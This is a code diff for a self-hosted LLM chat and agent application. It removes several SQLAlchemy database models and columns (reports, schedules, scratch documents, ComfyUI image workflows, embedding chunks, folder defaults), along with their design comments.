@@ -121,7 +121,6 @@ FTS_INDEXES: tuple[tuple[str, str, tuple[str, ...]], ...] = (
|
||||
("documents_fts", "documents", ("title", "description", "extracted_text")),
|
||||
("notes_fts", "notes", ("title", "body")),
|
||||
("skills_fts", "skills", ("name", "description", "body")),
|
||||
("reports_fts", "reports", ("title", "summary", "body")),
|
||||
)
|
||||
|
||||
|
||||
|
||||
@@ -18,13 +18,9 @@ from lembas.db.models.attachment import (
|
||||
KIND_TEXT,
|
||||
Attachment,
|
||||
)
|
||||
from lembas.db.models.canvas import ScratchDoc
|
||||
from lembas.db.models.chat import (
|
||||
ALL_KINDS,
|
||||
KIND_AGENT,
|
||||
KIND_CHAT,
|
||||
KIND_MESSAGES,
|
||||
KIND_TASK,
|
||||
KINDS,
|
||||
ROLE_ASSISTANT,
|
||||
ROLE_SYSTEM,
|
||||
@@ -35,24 +31,16 @@ from lembas.db.models.chat import (
|
||||
Message,
|
||||
)
|
||||
from lembas.db.models.connection import Connection, Model, model_groups
|
||||
from lembas.db.models.image import ImageWorkflow
|
||||
from lembas.db.models.library import (
|
||||
AUTHOR_MODEL,
|
||||
AUTHOR_USER,
|
||||
CHUNK_DOCUMENT,
|
||||
CHUNK_KINDS,
|
||||
CHUNK_NOTE,
|
||||
CHUNK_REPORT,
|
||||
CHUNK_SKILL,
|
||||
PRINCIPAL_GROUP,
|
||||
PRINCIPAL_USER,
|
||||
RESOURCE_BASE,
|
||||
RESOURCE_NOTE,
|
||||
RESOURCE_REPORT,
|
||||
RESOURCE_SKILL,
|
||||
SOURCE_LINK,
|
||||
SOURCE_UPLOAD,
|
||||
Chunk,
|
||||
Document,
|
||||
KnowledgeBase,
|
||||
Memory,
|
||||
@@ -62,23 +50,6 @@ from lembas.db.models.library import (
|
||||
SkillRevision,
|
||||
chat_knowledge_bases,
|
||||
)
|
||||
from lembas.db.models.report import (
|
||||
SOURCE_CHAT,
|
||||
SOURCE_MANUAL,
|
||||
SOURCE_SCHEDULE,
|
||||
SOURCES,
|
||||
Report,
|
||||
)
|
||||
from lembas.db.models.schedule import (
|
||||
ORIGIN_MODEL,
|
||||
ORIGIN_USER,
|
||||
ORIGINS,
|
||||
TARGET_CHAT,
|
||||
TARGET_MESSAGES,
|
||||
TARGET_REPORT,
|
||||
TARGETS,
|
||||
Schedule,
|
||||
)
|
||||
from lembas.db.models.setting import Setting
|
||||
from lembas.db.models.suggestion import Suggestion
|
||||
from lembas.db.models.tool import (
|
||||
@@ -100,36 +71,28 @@ from lembas.db.models.user import (
|
||||
ROLE_ADMIN,
|
||||
ROLE_PENDING,
|
||||
Group,
|
||||
PushSubscription,
|
||||
Session,
|
||||
Usage,
|
||||
User,
|
||||
user_groups,
|
||||
)
|
||||
|
||||
__all__ = [
|
||||
"AUTHOR_MODEL",
|
||||
"PushSubscription",
|
||||
"Usage",
|
||||
"AUTH_KEY",
|
||||
"AUTH_METHODS",
|
||||
"AUTH_PASSWORD",
|
||||
"AUTHOR_USER",
|
||||
"ALL_KINDS",
|
||||
"Attachment",
|
||||
"KINDS",
|
||||
"KIND_AGENT",
|
||||
"KIND_CHAT",
|
||||
"KIND_DOCUMENT",
|
||||
"KIND_IMAGE",
|
||||
"KIND_MESSAGES",
|
||||
"KIND_TASK",
|
||||
"KIND_TEXT",
|
||||
"PRINCIPAL_GROUP",
|
||||
"PRINCIPAL_USER",
|
||||
"RESOURCE_BASE",
|
||||
"RESOURCE_NOTE",
|
||||
"RESOURCE_REPORT",
|
||||
"RESOURCE_SKILL",
|
||||
"RESPONSE_JSON",
|
||||
"RESPONSE_MODES",
|
||||
@@ -146,42 +109,21 @@ __all__ = [
|
||||
"SECRET_NONE",
|
||||
"SECRET_PLACEMENTS",
|
||||
"SECRET_QUERY",
|
||||
"ORIGINS",
|
||||
"ORIGIN_MODEL",
|
||||
"ORIGIN_USER",
|
||||
"SOURCES",
|
||||
"SOURCE_CHAT",
|
||||
"SOURCE_LINK",
|
||||
"SOURCE_MANUAL",
|
||||
"SOURCE_SCHEDULE",
|
||||
"SOURCE_UPLOAD",
|
||||
"TARGETS",
|
||||
"TARGET_CHAT",
|
||||
"TARGET_MESSAGES",
|
||||
"TARGET_REPORT",
|
||||
"Report",
|
||||
"Schedule",
|
||||
"Chat",
|
||||
"Job",
|
||||
"Connection",
|
||||
"CustomTool",
|
||||
"CHUNK_DOCUMENT",
|
||||
"CHUNK_KINDS",
|
||||
"CHUNK_NOTE",
|
||||
"CHUNK_REPORT",
|
||||
"CHUNK_SKILL",
|
||||
"Chunk",
|
||||
"Document",
|
||||
"Folder",
|
||||
"Group",
|
||||
"ImageWorkflow",
|
||||
"KnowledgeBase",
|
||||
"McpServer",
|
||||
"Memory",
|
||||
"Message",
|
||||
"Model",
|
||||
"Note",
|
||||
"ScratchDoc",
|
||||
"Session",
|
||||
"Setting",
|
||||
"Share",
|
||||
|
||||
@@ -53,20 +53,6 @@ class SshProfile(UUIDPrimaryKey, Timestamps, Base):
|
||||
port: Mapped[int] = mapped_column(Integer, default=22, nullable=False)
|
||||
username: Mapped[str] = mapped_column(String(120), nullable=False)
|
||||
|
||||
# Whether `host` resolved to loopback the last time anybody looked. Written
|
||||
# where a network call is already happening -- saving this connection, and
|
||||
# Check -- and read on every request that asks whether this connection may
|
||||
# be used at all. A column rather than a lookup because that question is
|
||||
# asked several times per page render, and `getaddrinfo` on the request path
|
||||
# makes an agent page wait out a DNS timeout for a host nobody is talking
|
||||
# to. A literal `127.0.0.1` needs none of this and is decided from the
|
||||
# string. See services/agent/hosts.py.
|
||||
#
|
||||
# False on every row an upgrade brings in, which is correct for the literal
|
||||
# case (decided from the string anyway) and optimistic for a *name* until it
|
||||
# is next saved or checked.
|
||||
resolves_here: Mapped[bool] = mapped_column(Boolean, default=False, nullable=False)
|
||||
|
||||
auth: Mapped[str] = mapped_column(String(16), default=AUTH_KEY, nullable=False)
|
||||
password_encrypted: Mapped[str] = mapped_column(Text, default="")
|
||||
private_key_encrypted: Mapped[str] = mapped_column(Text, default="")
|
||||
|
||||
@@ -1,50 +0,0 @@
|
||||
"""A chat's own working surface."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from sqlalchemy import ForeignKey, String, Text
|
||||
from sqlalchemy.orm import Mapped, mapped_column
|
||||
|
||||
from lembas.db.base import Base, Timestamps, UUIDPrimaryKey
|
||||
from lembas.db.models.library import AUTHOR_USER
|
||||
|
||||
|
||||
class ScratchDoc(UUIDPrimaryKey, Timestamps, Base):
|
||||
"""A text artefact belonging to one chat, written by either side of it.
|
||||
|
||||
The model can write into it, the person can edit it, and either can hand the
|
||||
result to the next message as an ordinary attachment. Distinct from a note,
|
||||
which is a durable artefact of the reader's that outlives the chat -- this
|
||||
is the chat's own record of what it is working on, which is the same line
|
||||
`plan_update` is on rather than `notes_edit`.
|
||||
|
||||
A separate table rather than a column on `chats` for one plain reason:
|
||||
`select(Chat)` runs for the sidebar on every page load, and SQLAlchemy loads
|
||||
every column -- so a Text body would ride along with two hundred sidebar
|
||||
rows to answer a question about none of them.
|
||||
|
||||
One per chat. Several would mean a picker, names, deletion and a sweep, and
|
||||
would mean the model choosing an id; one means `scratch:<chat_id>` is
|
||||
derivable rather than looked up. If several are ever wanted, they are notes.
|
||||
"""
|
||||
|
||||
__tablename__ = "scratch_docs"
|
||||
|
||||
chat_id: Mapped[str] = mapped_column(
|
||||
String(32),
|
||||
ForeignKey("chats.id", ondelete="CASCADE"),
|
||||
nullable=False,
|
||||
index=True,
|
||||
unique=True,
|
||||
)
|
||||
user_id: Mapped[str] = mapped_column(
|
||||
String(32), ForeignKey("users.id", ondelete="CASCADE"), nullable=False, index=True
|
||||
)
|
||||
title: Mapped[str] = mapped_column(String(300), default="Scratch")
|
||||
body: Mapped[str] = mapped_column(Text, default="")
|
||||
# Who wrote it last, so the panel can say. Not authorisation: the chat's
|
||||
# owner is the only person who can reach it either way.
|
||||
author: Mapped[str] = mapped_column(String(16), default=AUTHOR_USER, nullable=False)
|
||||
|
||||
def __repr__(self) -> str:
|
||||
return f"<ScratchDoc {self.chat_id}>"
|
||||
@@ -26,28 +26,8 @@ ROLE_TOOL = "tool"
|
||||
# chat is pointed at a machine before it starts and stays pointed there.
|
||||
KIND_CHAT = "chat"
|
||||
KIND_AGENT = "agent"
|
||||
|
||||
# The two sides of the sidebar's Chat/Agent switch, and nothing else.
|
||||
# `KINDS` must NOT grow: `api/preferences.py:set_sidebar_kind` validates against
|
||||
# it, so a third entry would make the tree filterable to a side with no button
|
||||
# to leave it -- the "one side of a fork nobody can move" failure the
|
||||
# `sidebar_split` guard already exists to prevent.
|
||||
KINDS = (KIND_CHAT, KIND_AGENT)
|
||||
|
||||
# Conversations that belong to a section of their own rather than to the tree.
|
||||
# A Messages conversation is one per person; a task chat belongs to a schedule
|
||||
# and is reached through Scheduled. Neither is ever listed among the chats, so
|
||||
# neither is a side of the switch.
|
||||
KIND_MESSAGES = "messages"
|
||||
KIND_TASK = "task"
|
||||
|
||||
# What a row's `kind` may actually be. Every listing that means "the sidebar
|
||||
# tree" filters on KINDS; every check that means "is this a real value" uses
|
||||
# this. Reading `kind == ""` as "no filter" is what leaks a task chat into the
|
||||
# ordinary list on an instance with agents switched off, where the sidebar
|
||||
# passes "" precisely because there is no switch to read.
|
||||
ALL_KINDS = (*KINDS, KIND_MESSAGES, KIND_TASK)
|
||||
|
||||
# Duplicated from services/agent/policy.py rather than imported: a model module
|
||||
# importing a service would invert the dependency, and this is only the column
|
||||
# default. policy.MODES is the vocabulary; this is what a row starts as.
|
||||
@@ -69,28 +49,6 @@ class Folder(UUIDPrimaryKey, Timestamps, Base):
|
||||
position: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
|
||||
collapsed: Mapped[bool] = mapped_column(Boolean, default=False, nullable=False)
|
||||
|
||||
# What chats started in this folder inherit. A folder is where somebody
|
||||
# groups the work on one thing, so it is the natural place to say "chats
|
||||
# about this use this prompt, this model, this machine" -- said once rather
|
||||
# than on every new chat.
|
||||
description: Mapped[str] = mapped_column(String(500), default="")
|
||||
# Read at request time, never copied onto the chat: editing the folder later
|
||||
# has to reach the chats already in it, which is the whole point of putting
|
||||
# it here. It slots into the ladder between the chat and the model.
|
||||
system_prompt: Mapped[str] = mapped_column(Text, default="")
|
||||
|
||||
# Seeds, copied onto a new chat and then that chat's own. Empty means "no
|
||||
# opinion", so a folder can carry a prompt without also dictating a model.
|
||||
model_id: Mapped[str] = mapped_column(String(300), default="")
|
||||
kind: Mapped[str] = mapped_column(String(16), default="")
|
||||
# Deliberately not a ForeignKey. `migrations.py` compiles the column type
|
||||
# only, so a REFERENCES clause would exist on a fresh database and not on an
|
||||
# upgraded one -- the same reason `Chat.compacted_through_id` is a plain id.
|
||||
# The profile may also have been deleted, so it is validated on read.
|
||||
ssh_profile_id: Mapped[str] = mapped_column(String(32), default="")
|
||||
project_dir: Mapped[str] = mapped_column(String(1000), default="")
|
||||
agent_mode: Mapped[str] = mapped_column(String(16), default="")
|
||||
|
||||
children: Mapped[list[Folder]] = relationship(
|
||||
back_populates="parent",
|
||||
cascade="all, delete-orphan",
|
||||
@@ -99,7 +57,8 @@ class Folder(UUIDPrimaryKey, Timestamps, Base):
|
||||
parent: Mapped[Folder | None] = relationship(back_populates="children", remote_side="Folder.id")
|
||||
chats: Mapped[list[Chat]] = relationship(back_populates="folder")
|
||||
|
||||
def visible_chats(self, kind: str = "") -> list[Chat]:
|
||||
@property
|
||||
def visible_chats(self) -> list[Chat]:
|
||||
"""The chats in this folder that belong in the sidebar.
|
||||
|
||||
The relationship itself stays unfiltered -- back-population needs every
|
||||
@@ -109,58 +68,13 @@ class Folder(UUIDPrimaryKey, Timestamps, Base):
|
||||
existed. The unfiled list has always filtered them (api/pages.py); the
|
||||
folder branch went through the relationship and filtered nothing.
|
||||
|
||||
`kind` narrows to one side of the sidebar's Chat/Agent switch. Empty
|
||||
means *both sides of the switch* -- which is not the same as "no filter",
|
||||
and the difference only became visible once a third kind existed. An
|
||||
instance with agents disabled passes "" because there is no switch to
|
||||
read, so a bare `not kind` would list every task chat and the Messages
|
||||
conversation among somebody's ordinary chats. Those have sections of
|
||||
their own and are never in the tree.
|
||||
|
||||
Ordered like the unfiled list: pinned first, then most recently touched.
|
||||
"""
|
||||
wanted = (kind,) if kind else KINDS
|
||||
kept = [
|
||||
chat
|
||||
for chat in self.chats
|
||||
if not chat.archived and not chat.temporary and chat.kind in wanted
|
||||
]
|
||||
kept = [chat for chat in self.chats if not chat.archived and not chat.temporary]
|
||||
kept.sort(key=lambda chat: chat.updated_at, reverse=True)
|
||||
kept.sort(key=lambda chat: not chat.pinned)
|
||||
return kept
|
||||
|
||||
def visible_children(self, kind: str = "") -> list[Folder]:
|
||||
"""Sub-folders the sidebar should show on this side of the switch.
|
||||
|
||||
Here rather than in the template because Jinja's `selectattr` names a
|
||||
test, it does not call a method -- so the filter would have to be spelled
|
||||
out as a loop appending to a list, in a template that already includes
|
||||
itself recursively.
|
||||
"""
|
||||
return [child for child in self.children if child.shown_in(kind)]
|
||||
|
||||
def holds(self, kind: str = "") -> bool:
|
||||
"""Whether anything of this kind is anywhere under this folder.
|
||||
|
||||
Recursive, because a folder's only matching chat may be three levels
|
||||
down and judging on its own contents alone would bury it.
|
||||
"""
|
||||
if self.visible_chats(kind):
|
||||
return True
|
||||
return any(child.holds(kind) for child in self.children)
|
||||
|
||||
def shown_in(self, kind: str = "") -> bool:
|
||||
"""Whether this folder belongs on one side of the sidebar's switch.
|
||||
|
||||
Two different reasons a folder can have nothing in it, and only one of
|
||||
them is a reason to hide it. A folder full of ordinary chats is noise on
|
||||
the Agent side and is dropped. A folder that is empty of *everything* is
|
||||
a container somebody just made and has not filled yet -- hiding that one
|
||||
means it can never be found again, let alone filed into, so it shows on
|
||||
both sides and says "Empty" for itself.
|
||||
"""
|
||||
return self.holds(kind) or not self.holds()
|
||||
|
||||
def __repr__(self) -> str:
|
||||
return f"<Folder {self.name}>"
|
||||
|
||||
@@ -244,46 +158,6 @@ class Chat(UUIDPrimaryKey, Timestamps, Base):
|
||||
# representations of "on" makes "why is this off?" unanswerable.
|
||||
scope_json: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict)
|
||||
|
||||
# What this chat generates pictures with when the model names neither. A
|
||||
# preference rather than a constraint -- the model may still choose another
|
||||
# template or checkpoint for a particular image, and the harness lists what
|
||||
# is on offer -- so this is where "in this chat I am working in SDXL" is
|
||||
# said once instead of in every prompt.
|
||||
#
|
||||
# Plain columns rather than keys in `scope_json`: that one narrows what a
|
||||
# chat may *reach* and absent means on, which is the opposite of what an
|
||||
# empty default here means. A workflow that has since been deleted reads
|
||||
# back as no preference, so it is validated on use like `ssh_profile_id`.
|
||||
image_workflow_id: Mapped[str | None] = mapped_column(String(32))
|
||||
image_checkpoint: Mapped[str] = mapped_column(String(300), default="")
|
||||
|
||||
# --- Subagents -----------------------------------------------------------
|
||||
# The chat whose reply spawned this one, when a model delegated a piece of
|
||||
# work. A plain id and not a ForeignKey, for the reason the three above
|
||||
# give, and validated on read. Its presence is what makes a chat a
|
||||
# subagent's: `agent/session.py` sizes it smaller, `services/subagent.py`
|
||||
# refuses to spawn from one, and the sweep finds it.
|
||||
parent_chat_id: Mapped[str | None] = mapped_column(String(32))
|
||||
# Nobody is at the keyboard for this conversation, and nothing in it may
|
||||
# stop to ask. Not the same question as `kind`: a scheduled task's chat is
|
||||
# unattended because of what started it, a subagent's because of what it is,
|
||||
# and a future third thing will be unattended for a third reason. Reading
|
||||
# the flag rather than the kind is what stops each of those needing its own
|
||||
# branch in `resolve_tools` and in `_authorise`.
|
||||
unattended: Mapped[bool] = mapped_column(Boolean, default=False, nullable=False)
|
||||
|
||||
# Which files are open in the canvas panel, and which of them is in front.
|
||||
# {"tabs": [{"key": "agent:/srv/app/main.py", "title": …, "source": …}],
|
||||
# "active": "agent:/srv/app/main.py"}
|
||||
#
|
||||
# Server-side rather than in the browser because a model reading a file
|
||||
# opens a tab, and every frame this application streams is HTML swapped
|
||||
# whole -- if the browser owned the list, the server could not render the
|
||||
# strip and the frame would have to become data for JavaScript to interpret.
|
||||
# One chat, one canvas, the same consequence the terminal panel documents:
|
||||
# two tabs on the same chat share it.
|
||||
canvas_json: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict)
|
||||
|
||||
# --- Compaction ----------------------------------------------------------
|
||||
# A summary of the turns up to `compacted_through_id`, sent in their place.
|
||||
# The messages themselves are kept and still shown; they simply stop being
|
||||
@@ -347,21 +221,6 @@ class Message(UUIDPrimaryKey, Timestamps, Base):
|
||||
# answer stay visible, and deliberately NOT replayed as context on the next
|
||||
# turn -- see services/generation.py for why.
|
||||
tool_calls_json: Mapped[list[Any]] = mapped_column(JSONList, default=list)
|
||||
|
||||
# Where each round's contribution ended, so `content`, `reasoning` and
|
||||
# `tool_calls_json` can be shown as the one sequence they actually were
|
||||
# rather than as three stacked zones. One entry per closed step, holding the
|
||||
# cumulative length of each of the three at that moment. See
|
||||
# services/steps.py; read it through the `steps` property below.
|
||||
#
|
||||
# Nullable, and that is load-bearing rather than lazy. `migrations.py`
|
||||
# derives a backfill for a NOT NULL column from `column.type.python_type`,
|
||||
# and `JSONList` is `MutableList.as_mutable(JSON)` whose `python_type` is
|
||||
# `dict` -- so a NOT NULL list column would be backfilled `'{}'` on every
|
||||
# existing row and fail on the first read. Nullable means no default, which
|
||||
# is what an older row should have anyway: no marks, and the old layout.
|
||||
steps_json: Mapped[list[Any] | None] = mapped_column(JSONList, nullable=True, default=list)
|
||||
|
||||
usage_json: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict)
|
||||
|
||||
# A plan produced in Plan mode, or the state of one being carried out. See
|
||||
@@ -387,16 +246,6 @@ class Message(UUIDPrimaryKey, Timestamps, Base):
|
||||
# of tool calls -- is the only thing that clears it.
|
||||
queued: Mapped[bool] = mapped_column(Boolean, default=False, nullable=False)
|
||||
|
||||
# Written by the application rather than by the person whose bubble this
|
||||
# would otherwise be. `agent/jobs.py:wake` is the one writer: a background
|
||||
# job finishing is a new turn in the *user* role, and that role is
|
||||
# load-bearing -- `_inject` sends a queued turn verbatim and `build_messages`
|
||||
# has to keep seeing a user turn -- but it is not the reader speaking, and
|
||||
# rendering it under their name with their initial beside it is the
|
||||
# application putting words in their mouth. Nothing about the request
|
||||
# changes; only the bubble does.
|
||||
machine: Mapped[bool] = mapped_column(Boolean, default=False, nullable=False)
|
||||
|
||||
chat: Mapped[Chat] = relationship(back_populates="messages")
|
||||
attachments: Mapped[list[Attachment]] = relationship( # noqa: F821
|
||||
back_populates="message",
|
||||
|
||||
@@ -58,18 +58,6 @@ class Connection(UUIDPrimaryKey, Timestamps, Base):
|
||||
# Extra headers merged into every request (e.g. OpenRouter's HTTP-Referer).
|
||||
extra_headers_json: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict)
|
||||
|
||||
# How to ask this endpoint to drop its model from memory, for the Preserve
|
||||
# VRAM option in image generation. Per connection and not instance-wide,
|
||||
# because the VRAM being freed is a particular machine's: llama-swap on this
|
||||
# host answers `GET /unload`, while a remote vLLM has no such call and no
|
||||
# reason to be unloaded when ComfyUI needs memory *here*.
|
||||
#
|
||||
# Empty means "this connection cannot be unloaded", which is the honest
|
||||
# default -- there is no call that works everywhere, and guessing one would
|
||||
# send an unexplained request to somebody's endpoint.
|
||||
unload_url: Mapped[str] = mapped_column(String(500), default="")
|
||||
unload_method: Mapped[str] = mapped_column(String(8), default="POST")
|
||||
|
||||
# Result of the most recent "Test & refresh", surfaced in the admin list.
|
||||
last_checked_at: Mapped[datetime | None] = mapped_column(DateTime(timezone=True))
|
||||
last_error: Mapped[str] = mapped_column(Text, default="")
|
||||
|
||||
@@ -1,60 +0,0 @@
|
||||
"""ComfyUI workflow templates an administrator saved.
|
||||
|
||||
A table rather than a list inside the settings group, for the reason
|
||||
`McpServer.tools_json` is *not* a table: that one is a cache of somebody else's
|
||||
document, replaced wholesale on every refresh, where each entry carries one
|
||||
decision. These are the opposite -- authored by hand, individually named,
|
||||
edited, reordered and deleted, and referenced by id from a chat. Everything a
|
||||
table gives for free is exactly what is wanted.
|
||||
|
||||
Deliberately **no group access list**, unlike `CustomTool`. The whole feature is
|
||||
already behind one capability flag and one permission; a second access system
|
||||
covering which templates a person may pick would be a screen of checkboxes
|
||||
nobody asked for, and the thing being restricted is the shape of a picture.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from datetime import datetime
|
||||
from typing import Any
|
||||
|
||||
from sqlalchemy import Boolean, DateTime, Integer, String, Text
|
||||
from sqlalchemy.orm import Mapped, mapped_column
|
||||
|
||||
from lembas.db.base import Base, Timestamps, UUIDPrimaryKey
|
||||
from lembas.db.types import JSONDict
|
||||
|
||||
|
||||
class ImageWorkflow(UUIDPrimaryKey, Timestamps, Base):
|
||||
"""One API-format ComfyUI workflow, with holes where the values go."""
|
||||
|
||||
__tablename__ = "image_workflows"
|
||||
|
||||
# What the *model* names when it picks this one, so it is short and
|
||||
# lowercase for the same reason a tool's slug is: it lands in a schema enum
|
||||
# and is generated by something that spells inconsistently.
|
||||
slug: Mapped[str] = mapped_column(String(64), unique=True, nullable=False)
|
||||
name: Mapped[str] = mapped_column(String(120), nullable=False)
|
||||
|
||||
# Sent to the model beside the slug, and the only thing it has to choose
|
||||
# with. "Photographic, SDXL, slow" is a choice; "workflow 2" is not.
|
||||
description: Mapped[str] = mapped_column(Text, default="")
|
||||
|
||||
# The workflow itself, in ComfyUI's API format, with `{{placeholders}}`
|
||||
# where the parameters go. Stored parsed rather than as text so the admin
|
||||
# form can only ever save something that is valid JSON -- a template that
|
||||
# does not parse would fail at generation time, minutes later, in front of
|
||||
# somebody who was not editing it.
|
||||
workflow_json: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict)
|
||||
|
||||
enabled: Mapped[bool] = mapped_column(Boolean, default=True, nullable=False)
|
||||
position: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
|
||||
|
||||
# The result of the last time somebody pressed Test, in the shape
|
||||
# `CustomTool` and `McpServer` already use, so the row reads the same way in
|
||||
# the list as theirs do.
|
||||
last_checked_at: Mapped[datetime | None] = mapped_column(DateTime(timezone=True))
|
||||
last_error: Mapped[str] = mapped_column(Text, default="")
|
||||
|
||||
def __repr__(self) -> str:
|
||||
return f"<ImageWorkflow {self.slug}>"
|
||||
@@ -29,7 +29,6 @@ from sqlalchemy import (
|
||||
ForeignKey,
|
||||
Index,
|
||||
Integer,
|
||||
LargeBinary,
|
||||
String,
|
||||
Table,
|
||||
Text,
|
||||
@@ -53,13 +52,6 @@ SOURCE_LINK = "link"
|
||||
RESOURCE_BASE = "base"
|
||||
RESOURCE_NOTE = "note"
|
||||
RESOURCE_SKILL = "skill"
|
||||
# A report is shareable and a memory is not, and the line between them is the
|
||||
# one already drawn elsewhere: a finished piece of work is exactly the thing
|
||||
# somebody wants to hand over, and a record *about a person* is not content to
|
||||
# pass round. The constant lives here beside the other three even though Report
|
||||
# is not a library model, because `Share.resource_type` is one column and its
|
||||
# vocabulary belongs in one place.
|
||||
RESOURCE_REPORT = "report"
|
||||
|
||||
PRINCIPAL_USER = "user"
|
||||
PRINCIPAL_GROUP = "group"
|
||||
@@ -294,69 +286,3 @@ class Share(UUIDPrimaryKey, Timestamps, Base):
|
||||
|
||||
Index("ix_shares_resource", Share.resource_type, Share.resource_id)
|
||||
Index("ix_shares_principal", Share.principal_type, Share.principal_id)
|
||||
|
||||
|
||||
# --- Semantic index -----------------------------------------------------------
|
||||
# What a chunk belongs to. Strings rather than a foreign key per store, because
|
||||
# one table serving four of them is what stops the chunking, the scoring and the
|
||||
# rebuild being written four times and drifting three ways.
|
||||
CHUNK_DOCUMENT = "document"
|
||||
CHUNK_NOTE = "note"
|
||||
CHUNK_SKILL = "skill"
|
||||
CHUNK_REPORT = "report"
|
||||
|
||||
CHUNK_KINDS = (CHUNK_DOCUMENT, CHUNK_NOTE, CHUNK_SKILL, CHUNK_REPORT)
|
||||
|
||||
|
||||
class Chunk(UUIDPrimaryKey, Timestamps, Base):
|
||||
"""A piece of one library record, and its embedding.
|
||||
|
||||
**Additive, so `sync_schema` creates it at startup with no manual step**, and
|
||||
absent-means-nothing: an instance with no embedding model chosen never writes
|
||||
a row here and the search behaves exactly as it always did.
|
||||
|
||||
`owner_id` is denormalised off the resource. It is not used for
|
||||
authorisation -- `services/sharing.py` is still the only definition of who
|
||||
may see what, and scoring happens before that filter exactly as the
|
||||
full-text path does -- but it is what makes "rebuild this person's index"
|
||||
and "drop everything of theirs" one indexed query rather than four joins.
|
||||
|
||||
No foreign key on `resource_id`, for the reason `Share.principal_id` has
|
||||
none: the column points at one of four tables depending on `resource_type`,
|
||||
which SQLite cannot express. `indexing.forget_resource` deletes the rows.
|
||||
"""
|
||||
|
||||
__tablename__ = "chunks"
|
||||
|
||||
owner_id: Mapped[str] = mapped_column(
|
||||
String(32), ForeignKey("users.id", ondelete="CASCADE"), nullable=False, index=True
|
||||
)
|
||||
resource_type: Mapped[str] = mapped_column(String(16), nullable=False)
|
||||
resource_id: Mapped[str] = mapped_column(String(32), nullable=False)
|
||||
# Where in the record this piece came from, so a set can be rebuilt in order
|
||||
# and a hit can say which part matched.
|
||||
ordinal: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
|
||||
text: Mapped[str] = mapped_column(Text, default="")
|
||||
|
||||
# float32, little-endian, packed. A BLOB rather than JSON because a 1024
|
||||
# dimension vector is 4KB packed and about 20KB as text, and every one of
|
||||
# them is read on every semantic search.
|
||||
vector: Mapped[bytes] = mapped_column(LargeBinary, nullable=False)
|
||||
# How many floats are in it. Stored rather than derived from the length so a
|
||||
# mismatch is a comparison this code refuses rather than one it gets wrong:
|
||||
# changing the embedding model changes the space, and vectors from two
|
||||
# spaces score against each other perfectly happily and mean nothing.
|
||||
dims: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
|
||||
# Which model wrote it, for the same reason. A rebuild is what reconciles
|
||||
# them; until then the odd ones out are ignored rather than trusted.
|
||||
model_id: Mapped[str] = mapped_column(String(300), default="")
|
||||
# A hash of the text this set was built from. What makes re-indexing an
|
||||
# unchanged record free, and what makes "is this index current?" answerable
|
||||
# without re-embedding anything.
|
||||
source_hash: Mapped[str] = mapped_column(String(64), default="")
|
||||
|
||||
def __repr__(self) -> str:
|
||||
return f"<Chunk {self.resource_type}:{self.resource_id}#{self.ordinal}>"
|
||||
|
||||
|
||||
Index("ix_chunks_resource", Chunk.resource_type, Chunk.resource_id)
|
||||
|
||||
@@ -1,75 +0,0 @@
|
||||
"""Reports: what was found, written down once and never replied to."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from sqlalchemy import Boolean, ForeignKey, String, Text
|
||||
from sqlalchemy.orm import Mapped, mapped_column
|
||||
|
||||
from lembas.db.base import Base, Timestamps, UUIDPrimaryKey
|
||||
|
||||
# Where a report came from. Not a foreign key to anything -- see `source_id`.
|
||||
SOURCE_SCHEDULE = "schedule"
|
||||
SOURCE_CHAT = "chat"
|
||||
SOURCE_MANUAL = "manual"
|
||||
SOURCES = (SOURCE_SCHEDULE, SOURCE_CHAT, SOURCE_MANUAL)
|
||||
|
||||
|
||||
class Report(UUIDPrimaryKey, Timestamps, Base):
|
||||
"""A finished piece of work, filed.
|
||||
|
||||
Deliberately not a `Chat` with one `Message` in it. A report is read top to
|
||||
bottom and never answered, so everything a conversation carries -- a
|
||||
composer, a sidebar row, a title that regenerates itself, a bubble with an
|
||||
avatar and a rewind button -- would be machinery to suppress rather than
|
||||
machinery to use. It is the same line `services/library/` already draws
|
||||
between a note and a chat: a durable artefact is not a turn.
|
||||
|
||||
It must also be writable with no chat behind it at all, being the fallback
|
||||
destination for a scheduled run whose own chat has gone.
|
||||
|
||||
`body` is Markdown written by a model and goes through
|
||||
`services/markdown.py` like everything else from an endpoint. Hard rule 6
|
||||
applies here exactly as it does in a transcript.
|
||||
"""
|
||||
|
||||
__tablename__ = "reports"
|
||||
|
||||
owner_id: Mapped[str] = mapped_column(
|
||||
String(32), ForeignKey("users.id", ondelete="CASCADE"), nullable=False, index=True
|
||||
)
|
||||
title: Mapped[str] = mapped_column(String(300), nullable=False)
|
||||
# One line for the list page, so a feed of forty reports can be read without
|
||||
# opening any of them. Written by the model beside the body; falls back to
|
||||
# the body's first line when it did not bother.
|
||||
summary: Mapped[str] = mapped_column(String(500), default="")
|
||||
body: Mapped[str] = mapped_column(Text, default="")
|
||||
|
||||
source: Mapped[str] = mapped_column(String(16), default=SOURCE_MANUAL, nullable=False)
|
||||
# The chat or the schedule this came out of, kept so a report can say where
|
||||
# it was made. Deliberately not a ForeignKey: `migrations.py` compiles the
|
||||
# column type only, so a REFERENCES clause would exist on a fresh database
|
||||
# and not on an upgraded one -- the same reason `Chat.compacted_through_id`
|
||||
# and `Folder.ssh_profile_id` are plain ids. Both are validated on read, and
|
||||
# the row outliving what it points at is normal rather than exceptional: a
|
||||
# report is worth keeping after the chat that produced it has been deleted.
|
||||
source_id: Mapped[str] = mapped_column(String(32), default="")
|
||||
schedule_id: Mapped[str] = mapped_column(String(32), default="")
|
||||
model_id: Mapped[str] = mapped_column(String(300), default="")
|
||||
|
||||
# NOT NULL with a scalar default so `migrations._add_column_sql` can backfill
|
||||
# it if this column is ever added to a table that already has rows.
|
||||
unread: Mapped[bool] = mapped_column(Boolean, default=False, nullable=False)
|
||||
# Whether its arrival has already been announced. The dot can be shown for
|
||||
# as long as it is unread; the toast and the browser notification must fire
|
||||
# once. Without this the poll would announce the same report every ten
|
||||
# seconds until somebody opened it, which is the shape of notification
|
||||
